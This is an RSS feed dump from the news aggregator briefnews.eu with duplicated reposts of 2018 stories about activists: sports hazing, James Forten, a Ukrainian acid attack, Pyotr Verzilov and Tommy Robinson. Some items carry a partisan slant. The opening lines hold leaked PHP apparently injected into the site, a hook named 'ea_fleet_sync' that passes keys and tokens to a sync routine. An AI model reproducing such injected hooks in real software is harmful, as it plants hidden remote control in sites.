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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); activist – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 05 Dec 2018 23:48:15 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png activist – Brief News https://briefnews.eu 32 32 'Power and control' at the heart of hazing, says former pro football player, LGBT activist https://briefnews.eu/power-and-control-at-the-heart-of-hazing-says-former-pro-football-player-lgbt-activist/ https://briefnews.eu/power-and-control-at-the-heart-of-hazing-says-former-pro-football-player-lgbt-activist/#respond Wed, 05 Dec 2018 23:48:15 +0000 http://briefnews.eu/power-and-control-at-the-heart-of-hazing-says-former-pro-football-player-lgbt-activist/

Wade Davis knows all too well what it's like to be inside a locker room feeling the heat of hazing. Do you speak up or join in on inflicting pain and embarrassment upon fellow athletes?

The former pro football player hid behind an insecure facade of masculinity for years trying to protect his secret and avoid becoming the target of hazing.

Now he's openly gay and is devoting his life to tearing apart what he describes as toxic masculinity.

Davis is a self-described feminist activist. His paradigm and perspective couldn't be more different today than it was when he was in the throes of locker-room culture.

Davis describes the locker room as an asylum and says in a lot of cases it's the inmates who are running it.

"The locker room is a place absent of supervision. It's absent of mechanisms to protect people," Davis says.

Hazing in sport has been thrust into the spotlight again after former NHL player Daniel Carcillo came forward with his stories of hockey abuse, recounting days in the Ontario Hockey League and the horror stories that unfolded in the locker room.

"One of the most vivid memories that stands out is one of my teammates being taped to a table ass-up naked being whipped with his own belt by two veterans. He was screaming," Carcillo said.

Graphic Content: Ex-NHL'er Daniel Carcillo explains why he had 'nobody to turn to':

The two-time Stanley Cup champion discusses the hazing incident he remembers most vividly, when he says one of his OHL coaches took part in whipping a teammate with a belt. 0:51

The emotional trauma has taken it's toll on Carcillo and many more — athletes who for years have suffered in silence with no one to turn to.

Davis understands Carcillo's years of silent fear, frustration and pain.

During his high school, college and professional football days, Davis says he was never on the end of hazing but saw it and did nothing about it. He didn't know what to do or who to talk to.

Davis spent time on NFL training camp rosters, including with the Tennessee Titans, Washington Redskins and Seattle Seahawks. He also had a stint in NFL Europe.

Davis was also more concerned about his safety and ensuring he wouldn't become the next victim.

"If you are part of the circle, then you will never become the target. That's what this is about," Davis said. "The thing you're worried about is someone hazing you. You participate hoping that it exempts it from happening to you."

Screams for help

What Davis says is at the heart of hazing is a man's desperate need for connection and not knowing what that looks like in a heteronormative setting.

"I think men think it's not acceptable for men to be vulnerable with each other," Davis said. "I think hazing is someone screaming out that they need something and they haven't been given the language or the freedom to ask for help."

Davis says in the hyper-masculine setting of the locker room, men are looking for ways to connect in all the wrong ways — in a lot of cases it manifests in sexualized hazing and abuse because men aren't able to express empathy, compassion and connection in a healthy way.

"What we really want is to connect," Davis said. "It's been framed as weakness but vulnerability in these settings could be the beginning of stopping this. "

And Davis says that means talking about things that for far too long have been uncomfortable topics to discuss in the open.

"We don't talk about mental health issues, male isolation, racism, sexism, homophobia. We use these other words to make ourselves feel good about something changing," Davis said.

"The only way you could have ended that culture is if you addressed it directly. And we haven't done that."

Power, privilege and protecting the establishment

University of Manitoba kinesiology professor Jay Johnson recently co-authored a study of hazing rates among more than 400 Canadian varsity athletes.

The study, published in the Canadian Journal of Clinical Sport Psychology this summer, suggests hazing is common in both women's and men's athletics. Nearly two-thirds of Canadian varsity athletes reported that they've experienced some form of hazing.

"I don't think things are really improving. I just think it's gone more underground," Johnson said.

Johnson says one of the biggest reasons hazing continues to exist is because those who are in positions of power were once in those same locker rooms and may have been also participating in hazing rituals.

OHL commissioner calls abuse allegations "sickening":

Ontario Hockey League commissioner David Branch says he didn't know how bad the hazing was for players like Daniel Carcillo who, along with other players, went public this week with allegations of brutal treatment by older players. 2:58

"Coaches and athletic directors are generally former athletes themselves. So they're also a part of that culture. And in terms of hazing, had it done to them and did it to others. And that really normalizes behaviour because everyone's doing it," Johnson said.

Davis echoes the thoughts of Johnson when it comes to the vicious cycle.

"Hazing is a situation that involves someone believing they have power and control and displaying dominance over people," Davis said.

He adds that in a lot of ways what happens when hazing is taking place in the locker room very much mimics what happens outside of it as well.

"The things that happen in the locker room don't stay in the locker room. If I'm allowed to dehumanize someone in a locker room, I might start to enjoy that. I don't ever want to lose that feeling. So this extends outside the locker room," Davis said.

"If you take any marginalized group, the world is their locker room where they get hazed and dehumanized."

Both Johnson and Davis agree on the difficult path ahead in changing the hazing locker-room culture because of how rooted it is in privilege, power and societal framework upholding its presence.

"It requires a lot of investment from the administration, coaches and by the team itself to change it. It's like turning around an aircraft carrier right in the middle of the ocean. It takes a lifetime and it takes a lot effort but it can be done," Johnson said.

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]]> https://briefnews.eu/power-and-control-at-the-heart-of-hazing-says-former-pro-football-player-lgbt-activist/feed/ 0 'Power and control' at the heart of hazing, says former pro football player, LGBT activist https://briefnews.eu/power-and-control-at-the-heart-of-hazing-says-former-pro-football-player-lgbt-activist-2/ https://briefnews.eu/power-and-control-at-the-heart-of-hazing-says-former-pro-football-player-lgbt-activist-2/#respond Wed, 05 Dec 2018 23:48:15 +0000 http://briefnews.eu/power-and-control-at-the-heart-of-hazing-says-former-pro-football-player-lgbt-activist-2/

Wade Davis knows all too well what it's like to be inside a locker room feeling the heat of hazing. Do you speak up or join in on inflicting pain and embarrassment upon fellow athletes?

The former pro football player hid behind an insecure facade of masculinity for years trying to protect his secret and avoid becoming the target of hazing.

Now he's openly gay and is devoting his life to tearing apart what he describes as toxic masculinity.

Davis is a self-described feminist activist. His paradigm and perspective couldn't be more different today than it was when he was in the throes of locker-room culture.

Davis describes the locker room as an asylum and says in a lot of cases it's the inmates who are running it.

"The locker room is a place absent of supervision. It's absent of mechanisms to protect people," Davis says.

Hazing in sport has been thrust into the spotlight again after former NHL player Daniel Carcillo came forward with his stories of hockey abuse, recounting days in the Ontario Hockey League and the horror stories that unfolded in the locker room.

"One of the most vivid memories that stands out is one of my teammates being taped to a table ass-up naked being whipped with his own belt by two veterans. He was screaming," Carcillo said.

Graphic Content: Ex-NHL'er Daniel Carcillo explains why he had 'nobody to turn to':

The two-time Stanley Cup champion discusses the hazing incident he remembers most vividly, when he says one of his OHL coaches took part in whipping a teammate with a belt. 0:51

The emotional trauma has taken it's toll on Carcillo and many more — athletes who for years have suffered in silence with no one to turn to.

Davis understands Carcillo's years of silent fear, frustration and pain.

During his high school, college and professional football days, Davis says he was never on the end of hazing but saw it and did nothing about it. He didn't know what to do or who to talk to.

Davis spent time on NFL training camp rosters, including with the Tennessee Titans, Washington Redskins and Seattle Seahawks. He also had a stint in NFL Europe.

Davis was also more concerned about his safety and ensuring he wouldn't become the next victim.

"If you are part of the circle, then you will never become the target. That's what this is about," Davis said. "The thing you're worried about is someone hazing you. You participate hoping that it exempts it from happening to you."

Screams for help

What Davis says is at the heart of hazing is a man's desperate need for connection and not knowing what that looks like in a heteronormative setting.

"I think men think it's not acceptable for men to be vulnerable with each other," Davis said. "I think hazing is someone screaming out that they need something and they haven't been given the language or the freedom to ask for help."

Davis says in the hyper-masculine setting of the locker room, men are looking for ways to connect in all the wrong ways — in a lot of cases it manifests in sexualized hazing and abuse because men aren't able to express empathy, compassion and connection in a healthy way.

"What we really want is to connect," Davis said. "It's been framed as weakness but vulnerability in these settings could be the beginning of stopping this. "

And Davis says that means talking about things that for far too long have been uncomfortable topics to discuss in the open.

"We don't talk about mental health issues, male isolation, racism, sexism, homophobia. We use these other words to make ourselves feel good about something changing," Davis said.

"The only way you could have ended that culture is if you addressed it directly. And we haven't done that."

Power, privilege and protecting the establishment

University of Manitoba kinesiology professor Jay Johnson recently co-authored a study of hazing rates among more than 400 Canadian varsity athletes.

The study, published in the Canadian Journal of Clinical Sport Psychology this summer, suggests hazing is common in both women's and men's athletics. Nearly two-thirds of Canadian varsity athletes reported that they've experienced some form of hazing.

"I don't think things are really improving. I just think it's gone more underground," Johnson said.

Johnson says one of the biggest reasons hazing continues to exist is because those who are in positions of power were once in those same locker rooms and may have been also participating in hazing rituals.

OHL commissioner calls abuse allegations "sickening":

Ontario Hockey League commissioner David Branch says he didn't know how bad the hazing was for players like Daniel Carcillo who, along with other players, went public this week with allegations of brutal treatment by older players. 2:58

"Coaches and athletic directors are generally former athletes themselves. So they're also a part of that culture. And in terms of hazing, had it done to them and did it to others. And that really normalizes behaviour because everyone's doing it," Johnson said.

Davis echoes the thoughts of Johnson when it comes to the vicious cycle.

"Hazing is a situation that involves someone believing they have power and control and displaying dominance over people," Davis said.

He adds that in a lot of ways what happens when hazing is taking place in the locker room very much mimics what happens outside of it as well.

"The things that happen in the locker room don't stay in the locker room. If I'm allowed to dehumanize someone in a locker room, I might start to enjoy that. I don't ever want to lose that feeling. So this extends outside the locker room," Davis said.

"If you take any marginalized group, the world is their locker room where they get hazed and dehumanized."

Both Johnson and Davis agree on the difficult path ahead in changing the hazing locker-room culture because of how rooted it is in privilege, power and societal framework upholding its presence.

"It requires a lot of investment from the administration, coaches and by the team itself to change it. It's like turning around an aircraft carrier right in the middle of the ocean. It takes a lifetime and it takes a lot effort but it can be done," Johnson said.

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]]> https://briefnews.eu/power-and-control-at-the-heart-of-hazing-says-former-pro-football-player-lgbt-activist-2/feed/ 0 This Black Activist Was One of the Richest Men in Early America https://briefnews.eu/this-black-activist-was-one-of-the-richest-men-in-early-america-2/ https://briefnews.eu/this-black-activist-was-one-of-the-richest-men-in-early-america-2/#respond Thu, 29 Nov 2018 19:46:24 +0000 http://briefnews.eu/this-black-activist-was-one-of-the-richest-men-in-early-america-2/

Welcome to The Thread, OZY’s hit weekly podcast. In Season 3, The Thread charts how a revolutionary idea — nonviolent resistance — changed the course of history. Subscribe now to follow The Thread on Apple or on OZY.

In the spring of 1842, several thousand Philadelphians poured into the streets for one of the largest funerals in the city’s history. It was a remarkable sight: An interracial procession that included everyone from poor Black laborers to wealthy White merchants to sea captains and shippers. On that March day in Philadelphia, one observer wrote, “complexional distinctions and prejudices seemed … forgotten.” One visitor from Great Britain, who happened to be in the city that day, was awestruck by the integrated funeral. He inquired of the deceased, “Who was this man?”

That man, James Forten, had lived a life in early America that was hard for many in his time, or even for us in retrospect, to imagine. In an era in which Black people in America were oppressed and many enslaved, Forten managed to beat the odds to become a rich sailmaker and amass a large personal fortune. But Forten’s story is not just one of a Black man who rose to be one of the wealthiest in Philadelphia, but of a devoted patriot who believed in making the ideals of his country a reality for all of its citizens — and, as we cover in this week’s episode of OZY’s hit podcast, The Thread, one who used his great wealth and privilege to help fuel a movement that would alter the course of his country’s future.

Forten enlisted to fight for a prospective country that did not even consider him one of its citizens.

Forten was born in Philadelphia in 1766 in modest circumstances, but legally free. It was a time of turbulence and revolution, and the young man witnessed a British occupation of his city and the buildup to war. The 10-year-old Forten even stood in the crowd on a hot day in July 1776 and heard the Declaration of Independence read to the public for the first time — an experience that remained with him his entire life.

And when the American colonies went to war with the British, Forten enlisted to fight for a prospective country that, despite its “all men are created equal” rhetoric, did not even consider him one of its citizens. “He really does have to decide as a person of African-American descent where his loyalties are, and it would have been easy to say, ‘Just wake me up when the revolution is over,’” says Julie Winch, author of A Gentleman of Color: The Life of James Forten. But Forten joined the patriot cause, she explains, “convinced it will eventually bring about a fairer and more just society.”

Forten was just 14 years old when he signed up for the war effort as a sailor. After several years of fighting, including a stint as a prisoner of war aboard a British vessel, Forten returned to Philadelphia — where he would become one of the most successful Black businessmen in the new nation. Starting as an apprentice to a White sailmaker named Robert Bridges, Forten gradually won his mentor’s trust, which in turn helped him win the trust of the sea captains and ship owners who would turn to the young Black sailmaker for their sails once Bridges retired. Forten built a thriving business over the years, one with an interracial workforce and the goal of helping Black common laborers make the leap to skilled artisans the way he himself had once done.

But Forten didn’t stop there. “He could have simply taken the money and forgotten the fate of the majority of Black people in his hometown,” says Winch, “but that was not the belief system he subscribed to.” Forten pumped both his time and his money into the twin causes of abolitionism and civil rights, and his pursuit of these goals quickly made him into a leading spokesman in the Black community — and a major donor to those seeking to advance related causes.

And so, when a 25-year-old editor and fervent abolitionist named William Lloyd Garrison approached Forten for help in starting an anti-slavery newspaper called The Liberator in 1830, Forten didn’t hesitate to back the effort. Forten and Garrison became close friends, and Forten, then in his 60s, helped provide the editor with not only money but also introductions to Philadelphia’s Black leaders and a steady stream of inside information. Forten even penned his own column for The Liberator, which would become the most important anti-slavery publication in America, under the pen name “A Colored Philadelphian.”

When Forten died a decade later, praise and condolences came in from all across the country and the world. From Boston, it was Garrison who perhaps summed up his friend, patron and mentor best: “He was a man of rare qualities, and worthy to be held in veneration to the end of time.”

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]]> https://briefnews.eu/this-black-activist-was-one-of-the-richest-men-in-early-america-2/feed/ 0 This Black Activist Was One of the Richest Men in Early America https://briefnews.eu/this-black-activist-was-one-of-the-richest-men-in-early-america/ https://briefnews.eu/this-black-activist-was-one-of-the-richest-men-in-early-america/#respond Thu, 29 Nov 2018 17:53:46 +0000 http://briefnews.eu/this-black-activist-was-one-of-the-richest-men-in-early-america/

Welcome to The Thread, OZY’s hit weekly podcast. In Season 3, The Thread charts how a revolutionary idea — nonviolent resistance — changed the course of history. Subscribe now to follow The Thread on Apple or on OZY.

In the spring of 1842, several thousand Philadelphians poured into the streets for one of the largest funerals in the city’s history. It was a remarkable sight: An interracial procession that included everyone from poor Black laborers to wealthy White merchants to sea captains and shippers. On that March day in Philadelphia, one observer wrote, “complexional distinctions and prejudices seemed … forgotten.” One visitor from Great Britain, who happened to be in the city that day, was awestruck by the integrated funeral. He inquired of the deceased, “Who was this man?”

That man, James Forten, had lived a life in early America that was hard for many in his time, or even for us in retrospect, to imagine. In an era in which Black people in America were oppressed and many enslaved, Forten managed to beat the odds to become a rich sailmaker and amass a large personal fortune. But Forten’s story is not just one of a Black man who rose to be one of the wealthiest in Philadelphia, but of a devoted patriot who believed in making the ideals of his country a reality for all of its citizens — and, as we cover in this week’s episode of OZY’s hit podcast, The Thread, one who used his great wealth and privilege to help fuel a movement that would alter the course of his country’s future.

Forten enlisted to fight for a prospective country that did not even consider him one of its citizens.

Forten was born in Philadelphia in 1766 in modest circumstances, but legally free. It was a time of turbulence and revolution, and the young man witnessed a British occupation of his city and the buildup to war. The 10-year-old Forten even stood in the crowd on a hot day in July 1776 and heard the Declaration of Independence read to the public for the first time — an experience that remained with him his entire life.

And when the American colonies went to war with the British, Forten enlisted to fight for a prospective country that, despite its “all men are created equal” rhetoric, did not even consider him one of its citizens. “He really does have to decide as a person of African-American descent where his loyalties are, and it would have been easy to say, ‘Just wake me up when the revolution is over,’” says Julie Winch, author of A Gentleman of Color: The Life of James Forten. But Forten joined the patriot cause, she explains, “convinced it will eventually bring about a fairer and more just society.”

Forten was just 14 years old when he signed up for the war effort as a sailor. After several years of fighting, including a stint as a prisoner of war aboard a British vessel, Forten returned to Philadelphia — where he would become one of the most successful Black businessmen in the new nation. Starting as an apprentice to a White sailmaker named Robert Bridges, Forten gradually won his mentor’s trust, which in turn helped him win the trust of the sea captains and ship owners who would turn to the young Black sailmaker for their sails once Bridges retired. Forten built a thriving business over the years, one with an interracial workforce and the goal of helping Black common laborers make the leap to skilled artisans the way he himself had once done.

But Forten didn’t stop there. “He could have simply taken the money and forgotten the fate of the majority of Black people in his hometown,” says Winch, “but that was not the belief system he subscribed to.” Forten pumped both his time and his money into the twin causes of abolitionism and civil rights, and his pursuit of these goals quickly made him into a leading spokesman in the Black community — and a major donor to those seeking to advance related causes.

And so, when a 25-year-old editor and fervent abolitionist named William Lloyd Garrison approached Forten for help in starting an anti-slavery newspaper called The Liberator in 1830, Forten didn’t hesitate to back the effort. Forten and Garrison became close friends, and Forten, then in his 60s, helped provide the editor with not only money but also introductions to Philadelphia’s Black leaders and a steady stream of inside information. Forten even penned his own column for The Liberator, which would become the most important anti-slavery publication in America, under the pen name “A Colored Philadelphian.”

When Forten died a decade later, praise and condolences came in from all across the country and the world. From Boston, it was Garrison who perhaps summed up his friend, patron and mentor best: “He was a man of rare qualities, and worthy to be held in veneration to the end of time.”

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]]> https://briefnews.eu/this-black-activist-was-one-of-the-richest-men-in-early-america/feed/ 0 The Midterms Will Test a Blue Wave of Activist Apps https://briefnews.eu/the-midterms-will-test-a-blue-wave-of-activist-apps/ https://briefnews.eu/the-midterms-will-test-a-blue-wave-of-activist-apps/#respond Tue, 06 Nov 2018 12:52:16 +0000 http://briefnews.eu/the-midterms-will-test-a-blue-wave-of-activist-apps/ Startups like Swing Left and Crush the Midterms wanted to maximize volunteers’ impact. On Tuesday, they find out if it worked.


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]]> https://briefnews.eu/the-midterms-will-test-a-blue-wave-of-activist-apps/feed/ 0 ‘She was murdered!’ Ukrainian civil activist doused with acid by suspected ‘war veterans’ dies https://briefnews.eu/she-was-murdered-ukrainian-civil-activist-doused-with-acid-by-suspected-war-veterans-dies/ https://briefnews.eu/she-was-murdered-ukrainian-civil-activist-doused-with-acid-by-suspected-war-veterans-dies/#respond Mon, 05 Nov 2018 00:52:11 +0000 http://briefnews.eu/she-was-murdered-ukrainian-civil-activist-doused-with-acid-by-suspected-war-veterans-dies/ Ukrainian activist Katerina Gandzyuk has died at a Kiev hospital, where she had been treated after surviving an acid attack this summer. A group of far-right veterans of the conflict in Eastern Ukraine are suspected of the attack.

The exact causes of her death have not been established, yet Ukrainian law enforcement has already re-qualified the acid attack case as a “deliberate murder.” Ukrainian media in turn reports that she likely died due to a blood clot. Gandzyuk was a prominent “civil activist” with strong anti-Russian views, who took part in virtually all the unrest in the country over the past two decades – both in the so-called Orange Revolution in 2004 and the 2014 Maidan coup.

The death of 33-year-old Gandzyuk prompted protests across the country, with activists taking to the streets, demanding justice and urging the authorities to investigate attacks on other activists. A candle-lit vigil was held in front of the Ministry of Internal Affairs in Kiev. The activists carried placards reading “She was murdered” and “Who ordered to murder Katerina Gandzyuk?”

As well as activists, top officials expressed outrage over Gandzyuk’s fate, with Ukraine’s President Petro Poroshenko calling on the police to do their best to “punish the evil.” EU-Commissioner for European Neighbourhood Policy, Johannes Hahn, condemned the “vicious crime” as well.

Gandzyuk was attacked in her home city of Kherson in July, when an unknown assailant doused her with lethal sulfuric acid. The woman received deep burns to her back, face and arm, losing sight in one eye. She alleged that “corrupt” high-ranking police officers might have been behind the attack and refused to cooperate with the investigators. Prior to the attack, Gandzyuk, who served as an acting official with the local administration, had set herself against the alleged corruption within ranks of Kherson law enforcement.

The police appeared to be reluctant to investigate the attack, triggering protests and even an attempted arson at the local prosecutor’s office. Following the outrage, a suspect was swiftly detained, yet he proved to be innocent, as Gandzyuk did not recognize him, while evidence showed that he was out of town on the day of the attack.

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Viktor Vasyanovich, image posted on vk.com

Five other suspects were detained then, with the majority of them turning out to be decorated veterans of the conflict in Eastern Ukraine. Sergey Torbin from the ‘voluntary corps’ of the far-right group ‘Right Sector,’ is believed to be the leader of the group that attacked Gandzyuk. The suspect allegedly told his co-conspirators that the woman was a “corrupt pro-Russian official” that needed to be punished.

Another suspect, Viktor Vasyanovich, had earlier got into media limelight, as he was featured in 2016 at a scandalous photo exhibition, dubbed the ‘Winners,’ held in the EU parliament.

The exhibition showed veterans who’d received debilitating injuries while fighting for Kiev against the rebellious eastern region, and Vasyanovich had his leg blown off by a land mine. The man was pictured shirtless, while making a karate kick of sorts. The picture gained much attention, as the pro-Kiev fighter boasted multiple Nazi-themed tattoos over his chest and arms. Following the outrage, the photo was removed from the EU parliament.

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]]> https://briefnews.eu/she-was-murdered-ukrainian-civil-activist-doused-with-acid-by-suspected-war-veterans-dies/feed/ 0 #MeToo’s Alyssa Milano accused of hypocrisy over links to ‘Sharia law-supporting’ Muslim activist https://briefnews.eu/metoos-alyssa-milano-accused-of-hypocrisy-over-links-to-sharia-law-supporting-muslim-activist/ https://briefnews.eu/metoos-alyssa-milano-accused-of-hypocrisy-over-links-to-sharia-law-supporting-muslim-activist/#respond Mon, 22 Oct 2018 19:42:48 +0000 http://briefnews.eu/metoos-alyssa-milano-accused-of-hypocrisy-over-links-to-sharia-law-supporting-muslim-activist/

Actress Alyssa Milano has been asked to disavow her friend and fellow #MeToo movement supporter Linda Sarsour, a controversial Muslim women’s rights activist who has been accused of antisemitism and support for Sharia law.

Speaking on a panel at the Politicon conference in Los Angeles, Milano was confronted by conservative journalist Laura Loomer over her friendship with Sarsour.

READ MORE: ‘Double standard bullsh*t’: #MeToo icon Alyssa Milano hates Kavanaugh… but ‘loves’ Bill Clinton?

“You are friends with Linda Sarsour, both of you ladies have positioned yourselves as speakers and representatives of the #MeToo movement,” Loomer asked Milano.

“I want to ask you right now to disavow Linda Sarsour because she is a supporter of Sharia law. And under Sharia law, women are oppressed, women are forced to wear a hijab. My question is, will you please disavow her because she is advocating for Sharia law.”

Milano didn’t seem very interested in either disavowing Sarsour or answering the question — and as Loomer was immediately confronted by two women who attempted to usher her out of the room, the actress responded to say simply that Sarsour is “not” an advocate of Sharia law and thanked Loomer for the question.

As Loomer exited the room, Milano spoke up to say that if people “don’t know how to talk to one another we’ll never evolve.” When Loomer shot back to say she had just asked “a polite question,” Milano complained that the question had been asked in a “very distinct tone” which seemingly precluded her from giving an answer.

Sarsour, a former executive director of the Arab American Association of New York and one of the leaders of the Women’s March, has made statements in the past which seem to support the idea of Sharia, or Islamic law.

In 2014, the Palestinian-American activist said that Saudi Arabia’s maternity leave policies puts the US “to shame” in a tweet that seemed to imply that a Saudi ban on women being allowed to drive was not really an important issue in comparison.

“You’ll know when you’re living under Sharia Law if suddenly all your loans and credit cards become interest free. Sounds nice, doesn’t it?” she tweeted in 2015.

Claims of Sarsour’s anti-Semitism appear to stem from her links to Louis Farrakhan, the highly controversial leader of the Nation of Islam, who lost his ‘verified’ status on Twitter earlier this year after posting a link to a speech in which he claimed to be “unmasking the Satanic Jew and the Synagogue of Satan”.

Farrakhan has also made numerous anti-white comments, including saying white people “deserve to die,” and came out against interracial marriage, arguing that “you can’t integrate with wickedness if you want righteousness.” Sarsour spoke at a 2015 rally organized by Farrakhan.

READ MORE: Alyssa Milano’s dress at Kavanaugh hearing sparks Twitter firestorm as trolls take aim at her outfit

In 2017, singer Courtney Love tweeted that she wouldn’t support anything that is “being led by an anti-Semetic (sic) terrorist” who is “using feminism as a tool to promote her radicalism.” She also tweeted directly to Sarsour, calling her a “vile disgrace to women and all mankind.”

Milano’s refusal to answer the legitimate question about Sarsour’s past comments –whatever its tone– leaves a lingering question; why she is all about women’s equality and safety in Hollywood, but isn’t prepared to condemn those who appear to support oppression of women in other countries?

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]]> https://briefnews.eu/metoos-alyssa-milano-accused-of-hypocrisy-over-links-to-sharia-law-supporting-muslim-activist/feed/ 0 DIY Gun Activist Cody Wilson Accused of Child Sexual Assault https://briefnews.eu/diy-gun-activist-cody-wilson-accused-of-child-sexual-assault/ https://briefnews.eu/diy-gun-activist-cody-wilson-accused-of-child-sexual-assault/#respond Wed, 19 Sep 2018 18:24:30 +0000 http://briefnews.eu/diy-gun-activist-cody-wilson-accused-of-child-sexual-assault/ A Texas court issued a warrant for the Defense Distributed founder’s arrest on Wednesday.


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]]> https://briefnews.eu/diy-gun-activist-cody-wilson-accused-of-child-sexual-assault/feed/ 0 A Pussy Riot activist in critical condition after a suspected poisoning has landed in Berlin for treatment https://briefnews.eu/a-pussy-riot-activist-in-critical-condition-after-a-suspected-poisoning-has-landed-in-berlin-for-treatment/ https://briefnews.eu/a-pussy-riot-activist-in-critical-condition-after-a-suspected-poisoning-has-landed-in-berlin-for-treatment/#respond Sat, 15 Sep 2018 21:55:19 +0000 http://briefnews.eu/a-pussy-riot-activist-in-critical-condition-after-a-suspected-poisoning-has-landed-in-berlin-for-treatment/ pussy riot world cup protest pyotr verzilovAssociated Press/Martin Meissner

  • Pyotr Verzilov, the Pussy Riot activist who invaded the World Cup pitch in July and is believed to be poisoned, landed in Berlin, Germany, for medical treatment.
  • Speculation has abounded that Verzilov is the next victim of poisoning, following the attack on Sergei Skripal in the United Kingdom.
  • Verzilov’s wife, Nadezhda Tolokonnikova, told BILD she believes Verzilov was “deliberately poisoned” out of “intimidation or even attempted murder.”

He became world famous for invading the pitch during the World Cup final in Moscow. A few days ago, he was hospitalized in Moscow with “signs of poisoning.” Now Pyotr Verzilov, 30, husband of “Pussy Riot” lead singer Nadezhda Tolokonnikova, 28, has arrived in Berlin via air ambulance. He will be treated by specialists in Berlin.

The plane from Moscow landed at 10:45 p.m. at Schönefeld Airport. Pyotr Verzilov’s mother, Jelena, was also on board.

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The United Kingdom Independence Party (UKIP) will allow a debate to be held on whether the controversial right-wing activist Tommy Robinson will be allowed to join the party.

“UKIP Party Chairman Tony McIntryre has come to a decision on allowing a debate at the party conference on whether Tommy Robinson should be allowed to join UKIP,” the party tweeted on Sunday. The debate will take place at the party conference in Birmingham on September 22.

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Prior to the announcement, Robinson posted a video on Facebook in which he said that UKIP has the opportunity to “electrify” the UK’s working class by allowing him to join, stating that his membership could lead to a “political revolution” in Britain.

Robinson went on to state that the left-wing media are “terrified” of him joining UKIP. “They know the support we have, they know the support I have across this country, they know the way the public are feeling, and they want to do everything they can to stop it.”

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The video was the first to be published by Robinson since being released from prison. That release occurred following a successful appeal by Robinson, after it was ruled that the process leading to his contempt of court conviction was “flawed.” 

Robinson, whose real name is Stephen Christopher Yaxley-Lennon, is known for his outspoken right-wing views, particularly regarding immigration and Islam. His recent release from jail sent Twitter into a frenzy, while clashes between his supporters and anti-fascists led to a police officer being hospitalized in July. 

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